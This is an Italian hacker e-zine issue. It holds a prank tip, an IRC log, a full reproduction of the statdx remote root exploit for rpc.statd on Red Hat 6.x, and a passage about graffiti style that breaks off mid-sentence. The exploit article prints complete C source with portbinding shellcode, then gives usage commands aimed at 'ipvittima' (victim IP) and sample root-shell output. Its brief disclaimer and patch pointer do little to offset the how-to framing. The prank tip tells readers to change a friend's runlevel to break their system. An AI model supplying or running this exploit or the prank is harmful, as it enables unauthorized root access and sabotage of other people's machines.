Se volete fare uno scherzo di vero effetto vi conviene cambiare al vostro
amico sfortunato il runlevel in 1.
Per gli arretrati:
Nel file /etc/inittab basta sostituire il valore numerico con "1" nella riga
id:3:initdefault:
e per concludere in felicità vi riporto uno dei "normali" Irclog che posseggo : :)
<sYn_> VIVA I LAMER
22:10:14 <JrAsH^> allora VIVA AVATAR
<sYn_> hihahahahhahahaahahahhahahahahhahahahaahahahahhahaahaaha
22:11:12 Av4Tar_hT <njrtj@a-sa10-48.tin.it> parted #hackers@
22:11:30 <sYn_> ahhahahahahaahahhahahhahahahaha
22:11:32 <sYn_> aahahahhahahahaha
22:11:34 <sYn_> ahahhaha
22:11:35 <sYn_> aha
22:11:37 <sYn_> a
22:11:40 <JrAsH^> i lamer scappano
22:11:46 <sYn_> ahahahahahahahahahahahahhha
/===========================::=============================::=================/
/ /Statdx / SPYRO /
/===========================::=============================::=================/
|
|.|
|.|
|\./|
|\./|
. |\./| .
\^.\ |\\.//| /.^/
\--.|\ |\\.//| /|.--/
\--.| \ |\\.//| / |.--/ _____
\--.|\ |\./| /|.--/ / ___/ ____ __ __ _____ ____
\--.|\ |\./| /|.--/ \__ \ / __ \ / / / / / ___// __ \
\ .\ |.| | /. / ___/ / / /_/ // /_/ / / / / /_/ /
_ -_^_^_^_- \ \\ // / -_^_^_^_- _ /____/ / .___/ \__, / /_/ \____/
- -/_/_/- ^ ^ | ^ ^ -\_\_\- - /_/ /____/
__ __ __
/ / / / ____ _ _____ / /__
| | / /_/ / / __ `// ___/ / //_/
.\ /. Statdx .\ /. / __ / / /_/ // /__ / ,<
/_/ /_/ \__,_/ \___/ /_/|_|
Url: www.spyrohack.com
www.spippolatori.com/utenti/spyro-www
E-mail: spyro2600@yahoo.it
spyro-collaboratore@spippolatori.com
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
<<<-- DISCLAIMER -->>>
Tutto quello che riporterò qui di seguito,è di solo scopo informativo.
Pertanto se causerete danni a voi o a terzi la responsabilità è solo vostra.
Al giorno d'oggi la rete pultroppo è piena di lamer,e io con questo testo non voglio contribuire
alla nascita di nuovi,qundi pensateci due volte prima di mettere in atto queste informazioni.
Io ho scritto questo testo soltanto x mettere in evidenza i problemi di sicurezza riguardanti la
rete.
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
Premetto che la tecnica che scriverò di seguito,dovrà essere attuata da linux.
Naturalmente sul propio sistema eh? ;)
Questo bug risiede nel sistema operativo linux,precisamente nella distro. Red Hat 6.2/6.1/6.0 .
L'exploit consiste nel fare un buffer overflow alle rpc.statd da remoto.
Ma cosa è l'rpc?
Praticamente è un'elenco di servizi disponibili in un server;Infatti se diamo il comando:
rpcinfo -p 666.666.666.666 (naturalmente l'ip non esiste)
il server ti risponde con delle info su determinati servizi nfs,ad esempio:
program vers proto port
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100024 1 udp 933 status
100024 1 tcp 935 status
100011 1 udp 944 rquotad
100011 2 udp 944 rquotad
100005 1 udp 954 mountd
100005 1 tcp 956 mountd
100005 2 udp 959 mountd
100005 2 tcp 961 mountd
100005 3 udp 964 mountd
100005 3 tcp 966 mountd
100003 2 udp 2049 nfs
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
Quindi l'expolit fa piantare le statdx,o meglio le startx fanno una operazione che manda in
segmentation fault le rpc.
Per spiegare cosa è un buffer overflow ci vorrebbe molto tempo,e non me la sento di spiegarlo nel
mezzo di questo articolo,magari ne farò uno a parte.
Cmq il sorgente dell'exploit è questo:
-------------------------------------------statdx.c----------------------------------------------
/**
*** statdx
*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
*** by ron1n <shellcode@hotmail.com>
***
*** August 3, 2000
*** Sydney, Australia
***
*** Oh you prob'ly won't remember me
*** It's prob'ly ancient history
*** I'm one of the chosen few
*** Who went ahead and fell for you
***
*** $ gcc -o statdx statdx.c ; ./statdx -h
***
*** Thanks to smiler for the format string vulnerability clarification.
***
*** background info
*** ---------------
*** rpc.statd is an ONC RPC server that implements the Network Status
*** Monitor RPC protocol to provide reboot notification. It is used by
*** the NFS file locking service (rpc.lockd) when it performs lock
*** recovery.
***
*** Due to a format string vulnerability in a call to syslog() within
*** its logging module, rpc.statd can be exploited remotely by script
*** kids bent on breaking into your Redhat Linux box and defacing your
*** website with crackpot political musings.
***
*** This is not a traditional buffer overflow vulnerability. The data
*** are kept within the bounds of the buffer by means of a call to
*** vsnprintf(). The saved return address can be overwritten indirectly
*** without a contiguous payload. syslog() is given, for the most part,
*** a user-supplied format string with no process-supplied arguments.
*** Our format string will, if carefully constructed, cause the process
*** to cull non-arbitrary addresses from the top of the stack for
*** sequential writes using controlled values. Exploitation requires
*** an executable stack on the target host -- almost invariably the
*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
***
*** exploit info
*** ------------
*** You have one shot at this in most situations, so get it right!
***
*** If you know the port number rpc.statd is serving requests on, you
*** can supply the port number on the commandline to bypass the initial
*** portmapper query. This is very useful for hosts which are filtering
*** inbound connections to the portmapper. The default attack protocol
*** is UDP. There is a commandline option to use TCP. Apparently, the
*** dispatcher uses both protocols by default.
***
*** If you're only interested in exploiting a host, then you can safely
*** skip the following information. You'll only need a buffer address
*** to get started. This buffer address will either be one of my canned
*** ones or your own one. It must be precise, and this is where you're
*** likely to experience difficulties with your attacks.
***
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** | |
*** %esp buffer[1024]
***
*** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]--->
*** | r | r+1 | r+2 | r+3 |
***
*** buffer -> This is the address you'll need (-a and -l options)
*** str -> Process-supplied string; 24 bytes long
*** 4 -> Duplicate dwords to satisfy the %!d specifiers and
*** the double %n when two successive values are equal
*** r -> Stack position of saved eip
*** %8x.. -> Wipes the va_list dword and str; 9 by default (-w option)
*** %!x -> Used for padding to form an aggregate overwrite value;
*** the exclamation mark denotes a field width. This may
*** or may not be present, depending on the value. An
*** algorithm is used to allow tricky values.
*** %n -> Writes overwrite value to the corresponding address
*** sc -> Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
*** awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024
#define max(a,b) ((a)>(b)?(a):(b))
#define NOP 0x90
/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133 bytes
*/
char shellcode[] =
"\x31\xc0" /* xorl %eax,%eax */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c" /* jmp 0x7c */
/* kungfu: ------------------------------------------------------------ */
"\x59" /* popl %ecx */
"\x89\x41\x10" /* movl %eax,0x10(%ecx) */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08" /* movl %eax,0x8(%ecx) */
"\xfe\xc0" /* incb %al */
"\x89\x41\x04" /* movl %eax,0x4(%ecx) */
"\x89\xc3" /* movl %eax,%ebx */
"\xfe\xc0" /* incb %al */
"\x89\x01" /* movl %eax,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02" /* movb $0x2,%bl */
"\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */
"\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */
"\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */
"\x89\x49\x04" /* movl %ecx,0x4(%ecx) */
"\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */
"\x88\x01" /* movb %al,(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04" /* movb $0x4,%bl */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05" /* movb $0x5,%bl */
"\x30\xc0" /* xorb %al,%al */
"\x88\x41\x04" /* movb %al,0x4(%ecx) */
"\xb0\x66" /* movb $0x66,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce" /* movl %ecx,%esi */
"\x88\xc3" /* movb %al,%bl */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1" /* incb %cl */
"\xb0\x3f" /* movb $0x3f,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */
"\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */
"\x30\xc0" /* xorb %al,%al */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x0c" /* movl %esi,0xc(%esi) */
"\x8d\x56\x10" /* leal 0x10(%esi),%edx */
"\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */
"\x89\xf3" /* movl %esi,%ebx */
"\xb0\x0b" /* movb $0xb,%al */
"\xcd\x80" /* int $0x80 */
/* ------------------------------------ exit(blah); ------------------- */
"\xb0\x01" /* movb $0x1,%al */
"\xcd\x80" /* int $0x80 */
/* ricochet: call kungfu ---------------------------------------------- */
"\xe8\x7f\xff\xff\xff"; /* call -0x81 */
enum res
{
stat_succ,
stat_fail
};
struct sm_name
{
char *mon_name;
};
struct sm_stat_res
{
enum res res_stat;
int state;
};
struct type
{
int type;
char *desc;
char *code;
u_long bufpos;
int buflen;
int offset;
int wipe;
};
struct type types[] =
{
{0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
{1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
{2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
{0, NULL, NULL, 0, 0, 0, 0}
};
bool_t
xdr_sm_name(XDR *xdrs, struct sm_name *objp)
{
if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
return (FALSE);
return (TRUE);
}
bool_t
xdr_res(XDR *xdrs, enum res *objp)
{
if (!xdr_enum(xdrs, (enum_t *)objp))
return (FALSE);
return (TRUE);
}
bool_t
xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
{
if (!xdr_res(xdrs, &objp->res_stat))
return (FALSE);
if (!xdr_int(xdrs, &objp->state))
return (FALSE);
return (TRUE);
}
void
usage(char *app)
{
int i;
fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] <target>\n");
fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
fprintf(stderr, "-d\tuse a hardcoded <type>\n");
fprintf(stderr, "Available types:\n");
for(i = 0; types[i].desc; i++)
fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);
exit(EXIT_FAILURE);
}
void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "cd /; ls -alF; id;\n", 19, 0);
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
perror("select()");
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
perror("recv()");
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
errno = 0;
if(send(sockd, buff, ret, 0) != ret)
{
if(errno) perror("send()");
else fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
void
connection(struct sockaddr_in host)
{
int sockd;
host.sin_port = htons(39168);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket()");
exit(EXIT_FAILURE);
}
if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
{
printf("OMG! You now have rpc.statd technique!@#$!\n");
runshell(sockd);
}
close(sockd);
}
char *
wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
{
int i, j, cnt, pad;
char pbyte, *buff, *ptr;
u_long retpos;
u_long dstpos;
while(bufpos % 4) bufpos--;
/* buflen + ebp */
retpos = bufpos + buflen + 4;
/*
** 0x00 == '\0'
** 0x25 == '%'
** (add troublesome bytes)
** Alignment requirements aid comparisons
*/
pbyte = retpos & 0xff;
/* Yes, it's 0x24 */
if(pbyte == 0x00 || pbyte == 0x24)
{
fprintf(stderr, "Target address space contains a poison char\n");
exit(EXIT_FAILURE);
}
/*
** Unless the user gives us a psychotic value,
** the address should now be clean.
*/
/* str */
cnt = 24;
/* 1 = process nul */
buflen -= cnt + 1;
if(!(buff = malloc(buflen + 1)))
{
perror("malloc()");
exit(EXIT_FAILURE);
}
ptr = buff;
memset(ptr, NOP, buflen);
for(i = 0; i < 4; i++, retpos++)
{
/* junk dword */
for(j = 0; j < 4; j++)
*ptr++ = retpos >> j * 8 & 0xff;
/* r + i */
memcpy(ptr, ptr - 4, 4);
ptr += 4; cnt += 8;
}
/* restore */
retpos -= 4;
for(i = 0; i < wipe; i++)
{
/* consistent calculations */
strncpy(ptr, "%8x", 3);
ptr += 3; cnt += 8;
}
dstpos = bufpos + offset;
/*
** This small algorithm of mine can be used
** to obtain "difficult" values..
*/
for(i = 0; i < 4; i++)
{
pad = dstpos >> i * 8 & 0xff;
if(pad == (cnt & 0xff))
{
sprintf(ptr, "%%n%%n");
ptr += 4; continue;
}
else
{
int tmp;
/* 0xffffffff = display count of 8 */
while(pad < cnt || pad % cnt <= 8) pad += 0x100;
pad -= cnt, cnt += pad;
/* the source of this evil */
tmp = sprintf(ptr, "%%%dx%%n", pad);
ptr += tmp;
}
}
*ptr = NOP;
/* plug in the shellcode */
memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
buff[buflen] = '\0';
printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
printf("wiping %d dwords\n", wipe);
return buff;
}
struct in_addr
getip(char *host)
{
struct hostent *hs;
if((hs = gethostbyname(host)) == NULL)
{
herror("gethostbyname()");
exit(EXIT_FAILURE);
}
return *((struct in_addr *) hs->h_addr);
}
int
main(int argc, char **argv)
{
int ch;
char *buff;
CLIENT *clnt;
enum clnt_stat res;
struct timeval tv, tvr;
struct sm_name smname;
struct sm_stat_res smres;
struct sockaddr_in addr;
int type = -1;
int usetcp = 0;
int timeout = 5;
int wipe = 9;
int offset = 600;
int buflen = 1024;
char *target;
char *sc = shellcode;
u_short port = 0;
u_long bufpos = 0;
int sockp = RPC_ANYSOCK;
extern char *optarg;
extern int optind;
extern int opterr;
opterr = 0;
while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
{
switch(ch)
{
case 't': usetcp = 1; break;
case 'p': sscanf(optarg, "%hu", &port); break;
case 'a': sscanf(optarg, "%lx", &bufpos); break;
case 'l': buflen = atoi(optarg); break;
case 'o': offset = atoi(optarg); break;
case 's': timeout = atoi(optarg); break;
case 'w': wipe = atoi(optarg); break;
case 'd': type = atoi(optarg); break;
default : usage(argv[0]);
}
}
if(!(target = argv[optind]))
{
fprintf(stderr, "No target host specified\n");
exit(EXIT_FAILURE);
}
if(type >= 0)
{
if(type >= sizeof types / sizeof types[0] - 1)
{
fprintf(stderr, "Invalid type\n");
exit(EXIT_FAILURE);
}
sc = types[type].code;
bufpos = types[type].bufpos;
buflen = types[type].buflen;
offset = types[type].offset;
wipe = types[type].wipe;
}
if(!bufpos)
{
fprintf(stderr, "No buffer address specified\n");
exit(EXIT_FAILURE);
}
bzero(&addr, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = getip(target);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if(!usetcp)
{
clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
if(clnt == NULL)
{
clnt_pcreateerror("clntudp_create()");
exit(EXIT_FAILURE);
}
tvr.tv_sec = 2;
tvr.tv_usec = 0;
clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
}
else
{
clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
if(clnt == NULL)
{
clnt_pcreateerror("clnttcp_create()");
exit(EXIT_FAILURE);
}
}
/* AUTH_UNIX / AUTH_SYS authentication forgery */
clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
buff = wizardry(sc, bufpos, buflen, offset, wipe);
smname.mon_name = buff;
res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
(caddr_t) &smres, tv);
if(res != RPC_SUCCESS)
{
clnt_perror(clnt, "clnt_call()");
printf("A timeout was expected. Attempting connection to shell..\n");
sleep(5); connection(addr);
printf("Failed\n");
}
else
{
printf("Failed - statd returned res_stat: (%s) state: %d\n",
smres.res_stat ? "failure" : "success", smres.state);
}
free(buff);
clnt_destroy(clnt);
return -1;
}
-------------------------------------------statdx.c----------------------------------------------
Creeiamo il file statdx.c ,e copiamici il sorgente qui sopra elencato.
Adesso dobbiamo compilare il programma,e lo facciamo con il seguente comando:
gcc -o statdx statdx.c altrimenti fare: gcc statdx.c -o statdx
Adesso dobbiamo usare l'exploit compilato in precedenza.
Per farlo non dobbiamo fare altro(scusate la ripetizione)che dare il seguente comando:
./statdx ip opzione Versione_Red_Hat
Ecco un piccolo schema x aiutarvi:
Versione_Red_Hat Opzione Numero_equivalente_alla_versione
Red Hat 6.2 -d 0
Red Hat 6.1 -d 1
Red Hat 6.0 -d 2
Qundi se dobbiamo attaccare una red hat 6.2 daremo il comando:
./statdx ipvittima -d 0
Per la red hat 6.1:
./statdx ipvittima -d 1
E infine x red hat 6.0:
./statdx ipvittima -d 2
Mi sembra chiara la cosa,o no?
A questo punto,se l'exploit funziona dovrebbe apparirvi nel terminale una serie di scritte
tipo queste:
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Message from syslogd@localhost at Mon Jan 1 12:40:42 2001 ...
localhost
clnt_call(): RPC: Timed out
A timeout was expected. Attempting connection to shell..
OMG! You now have rpc.statd technique!@#$!
total 2166esempi
drwxr-xr-x 18 root root 1024 Dec 27 14:28 ./
drwxr-xr-x 18 root root 1024 Dec 27 14:28 ../
drwx------ 3 root root 1024 Dec 26 00:18 .gnome/
drwx------ 2 root root 1024 Dec 26 00:18 .gnome_private/
drwxr-xr-x 2 root root 2048 Dec 26 01:12 bin/
drwxr-xr-x 3 root root 1024 Dec 26 01:15 boot/
-rw------- 1 root root 2142208 Dec 27 14:28 core
drwxr-xr-x 5 root root 34816 Jan 1 11:56 dev/
drwxr-xr-x 29 root root 2048 Jan 1 11:56 etc/
drwxr-xr-x 2 root root 1024 Feb 6 1996 home/
drwxr-xr-x 4 root root 3072 Dec 26 01:09 lib/
drwxr-xr-x 2 root root 12288 Dec 26 01:00 lost+found/
drwxr-xr-x 4 root root 1024 Dec 26 01:01 mnt/
dr-xr-xr-x 63 root root 0 Jan 1 12:56 proc/
drwxr-x--- 13 root root 1024 Jan 1 12:01 root/
drwxr-xr-x 3 root root 2048 Dec 26 01:14 sbin/
drwxrwxrwt 6 root root 1024 Jan 1 11:56 tmp/
drwxr-xr-x 19 root root 1024 Dec 26 01:06 usr/
drwxr-xr-x 15 root root 1024 Dec 26 01:14 var/
uid=0(root) gid=0(root)
Dico "tipo queste" xchè l'exploit nell'esempio che ho fatto,l'ho eseguito
nel mio sistema,cmq x rendere l'idea và più che bene.
Come si può ben notare,si possono vedere le directory e a che livello di permessi sono.
Ok,sono sono root sul mio sistema!Che emozione! ;)
Adesso che l'accesso root c'è,tocca a voi.
Questo è un'exploit vecchiotto ma ancora diffuso in giro per la rete.
Per patchare il sistema,basta collegarsi all'ftp della casa Red Hat,ovvero:
ftp.redhat.com
Anche per oggi abbiamo finito ;)
Un saluto dal vostro SPYRO
Byez
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
bash# cd /saluti
bash# cat saluti.txt
Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn,BsTHaCk,Anubi,D4rkSt4r,jex,Silent,dibbellas,^maga^
Radion,Warning,Terror,Gouranga,Blender,Prodigy,Hiolz[83],Memorik,Hedo,MrWolf,Screen_it,zapotecz,
Goony,Scire,Sulex,Floppino,Grungio,Fratak,McGiver,AntiS,gouranga,LizDay,satz,cancerman,Dea,ULCC,Spider2k
Ice'St0rm e tutti quelli che ho dimenticato di #phreak.it(scusatemi). Poi saluto anche tutti quelli dei
tankcommandos,della hrn,pbk,Maphias0ft,gli Spippolatori,in particolare il grande Master,Chrome,
Brigante,RigorMortem,Vinx2o2o,fen0x,DARKMAN,risk e tutti quelli che mi vogliono bene :)
Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!!!!!!
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
bash# cat end.c
#include <stdio.h>
void main(void){
printf("Anche per oggi è tutto dal vostro SPYRO\n");
printf("Ciaoooooooooooo\n");
}
bash# halt
ATTENDERE:ARRESTO DEL SISTEMA IN CORSO......
ORA SI PUO' SPEGNERE IL COMPUTER!
ahahaha scherzo ;)
/===========================::=============================::=================/
/ /Writer Block (Bx-Bomber) / Jrash /
/===========================::=============================::=================/
===================================°WRITER BLOCK (BX-BOMBER)°====================================
Autore: Jrash H@
E-mail: jrash@hackerasat.com
Tempo impiegato: 9 ore 44 minuti
Musica ascoltata: radio (stazione radio ibiza)
Consumi: un bell aperitivo fatto da me: 2 bottigliette di crodino, ghiaccio, arancia,
vodka e uno spruzzo di coca cola....ve loi consiglio ottimo
Salve gente, come molti di voi sanno io prima di intraprendere questo duro viaggio nel mondo di internet,
vivevo in un altro mondo, quello dell Hip-Hop; io ero uno di quelli che come molti sanno vengono chiamati
writer, B-boy, come volete chiamarli voi.
Proprio per questo scrivo questo articolo, cioè per rendervi consapevoli della magneficenza del
mondo dell Hip-Hop, e il mio scopo è avvicinarvi ad esso...
Questo aricolo in poche parole è la continuazione di quello, che è stato pubblicato nel
numero 3 della dirtynet, e spero che molti di voi lo abbiano letto..
Bene, ora non voglio annoiarvi con queste solite pallose intro, dunque passiamo al sodo , non posso
dirvi nient' altro, solo : BUONA LETTURA:)))
Mi piace questo argomento.Di cosa si tratta esattamente? Si dice che alcuni l'abbiano altri no...io
direi che tutti hanno stile, ma è lostile gia' in circolazione, oppure no? Ho un po' la mentalita
sèpigolosa e pronta a tutto cio' che serve per parlare di questa roba. Dall italia al bronx lo stile
è evidente... se guardo gli spunti che trovo sui treni italiani vedo alcunoi esempi sia buoni che pessimi ,
ma qui ci addentriamo troppo nei gusti, in ogni caso direi che la vione che ti fa dire "ehi"!
Questo è lo stile! Dovrebbe e potrebbe essere facilmente valutabile da un punto fermo
evoluzionistico e da quello istintivo terzo occhio. La roba scarasa esiste e non è esatto
dire necessariamente che la bellezza sta nell occhio di chi guarda. E cioè non è bello cio'che è
bello, ma è bello cio' che piace. Di solito controlliamo com'è un pezzo e decidiamo di conseguenza
tutti gli elementi. Se dovessimo costruire una bella donna, non so, ma penserei che piu di nove
volte su dieci , non dovrebbe pesare 400 libbre con una pelle tutta piena di bolle, magari pelata
con parrucchino e baffi (professoerssa fortunato). Le cose carine non si fanno mettendo
semplicemente mettendo insieme il giusto abbigliamento e non si tratta nemmeno di costruire
una sedia che poi non puo' sostenere neanche una persona. Tutti vogliono pensare che, dato che
hanno uno stile, per forza sono bravi e lo stile è buono. Io voglio essere citato dopo l ultima
parola riguardo lo stile potente, lo stile bello e lo stile scarso. Dovremmo fare dei nomi?
Come possiamo darvi degli esempi sui migliori in campo ed anche fornirvi un idea di cosa non è buono?
Innanzitutto facciamo chiarezza. Avere stile non significa che quest ultimo debba essere complicato.
Esistono stili semplici tipo logo che, sono buoni e molti stili di throw-up veramente scarsi.
Non c'è immaginazione, ma si tratta solamente di qualcosa creato per essere eseguito piu' velocemente
possibile senza alcuna attenzione all apparenza ed al coeme si mostra. Non posso conformarmi a questo
approccio. Lo stile dovrebbe essere preso in considerazione in ogni evento connesso alla scrittura.
Un pezzo non è mai stato inteso per essere eseguito il piu' velocemente possibile , ed ogni libro che
dichiara il contrario non è un libro assicurato; un pezzo era destinato ad essere fatto in maniera
efficiente il che, innanzitutto significava riempito. All inizio prima che gli stili specifici delle
lettere gettassero le basi, non importava come appariva una lettera, ma era un dovere riempire il pezzo.
La multa per questi spazi riempiti invisibili di solito era un pezzo, invece, riempito e piazzato sopra
il tuo. A new york gli idioti il cui unico punto forte è il throw-up, dichiariamo che molti
artisti ottengono fama eseguendo semplicemente pezzi minimali.
Ma sono i pezzi minimali che richiedono il massimpo del tempo per essere prodotti.
Il dichiararsi KING richiede mentalita' il che significa metterci tempo, ma nessuno
sforzo nel fare il pezzo...sappiamo tutti che non ci si impiega molto a mettere una
merda di throw-up sul muricciolo...non ci si impiega molto a buttare uno stile semplice
su un muro come nel caso di wild-burner...ed ancora alcuni esperti possono fare dei gran
pezzi piu' velocemente di quanto si possa pensare. Quindi quello che veramente ci vuole ad avere
uno stile ed a migliorarsi come writer è l incentivo ad esserlo. Allora come lo vogliamo mettere?
Cerchiamoi un approccio con buon senso al tema stile Vs throw-up. OK se il throw-up non è mega...beh
sara' meglio di un burner e questo è quanto. Qualcuno potrebbe sostenere ancora che i due stili
siano completamente diversi l uno dall altro. Ma il punto è quello di mostrare uno stile e un altro
siule estremo che, nel momento in cui viene comparato col primo distrugge l altro. Piu' o meno vedete
delinearsi la questione....questo non è un esempio primario e magari qualcuno
preferisce comunque quell in. È probabile comiunque che questo secondo stile possa essere eseguito
in manieraq altrettanto facile. Il fatto è che probabilmente non c'è molto dispendio di energie
ad aggiungere qualcosa di extra alle semplici lettere che ci sono state donate e questo è quello
che tecnicamente è sempre stato approccio, oltre ad essere la parte principale di quello che fa
del writing il WRITING e dello stile lo STILE. Se semplicemente seguissimo le cose cosi' come ci
sono state insegnate, non esisterebbe di certo cosi' tanta intensita' nelle forme espressive come
in efetti esiste. Lo stile migliore? Quello che rompe gli schemi dei componenti fondatori...
la roba incomparabile...la roba che non ci riesce nemmeno ad immaginarti come possa essere venuta fuori.
Ok dovremmo aggiungere che lo stile è quello che tu ne fai, ma noi cerchiamo di essere elitari...
non crediamo che tutto sia buono poiche quella è la mentalita' che fa in modo che i writers siano
tutto tranne che potenti. Si torna qui ai gusti dell individuo e, qui sono d accordo con gli altri,
al fatto che sia piu' una questione di capire l intera circonferenza e gli elementi che compongono
e che possono comporre una dinamica dello stile o che possano funzionare dinamicamente.
Quando lo stile venne alla luce, ovviamente i writes notarono che alcuni di loro stavano
facendo cose in una maniera diversa e furono riconosciuti come i migliori. I king che si
sono veramnete dedicati allo stile, saranno rispettati per sempre, ed è lostile a creare la
visione che fa il lettering aerosol una forma d arte, non il throw-up. Scusate!
Oh, stavo ceracndo di dire che l esperienza separa la capacita' di capire di ognuno dal
gusto personale. Il writing è uno scambio, questo è. Va oltre quello che uno sente.
È la realizzazione e l assorbimento dei particolari che ci vogliono per spaccare!
Forse è meglio fare un esempio per vedere se i nostri lettori riescono a capire perche'
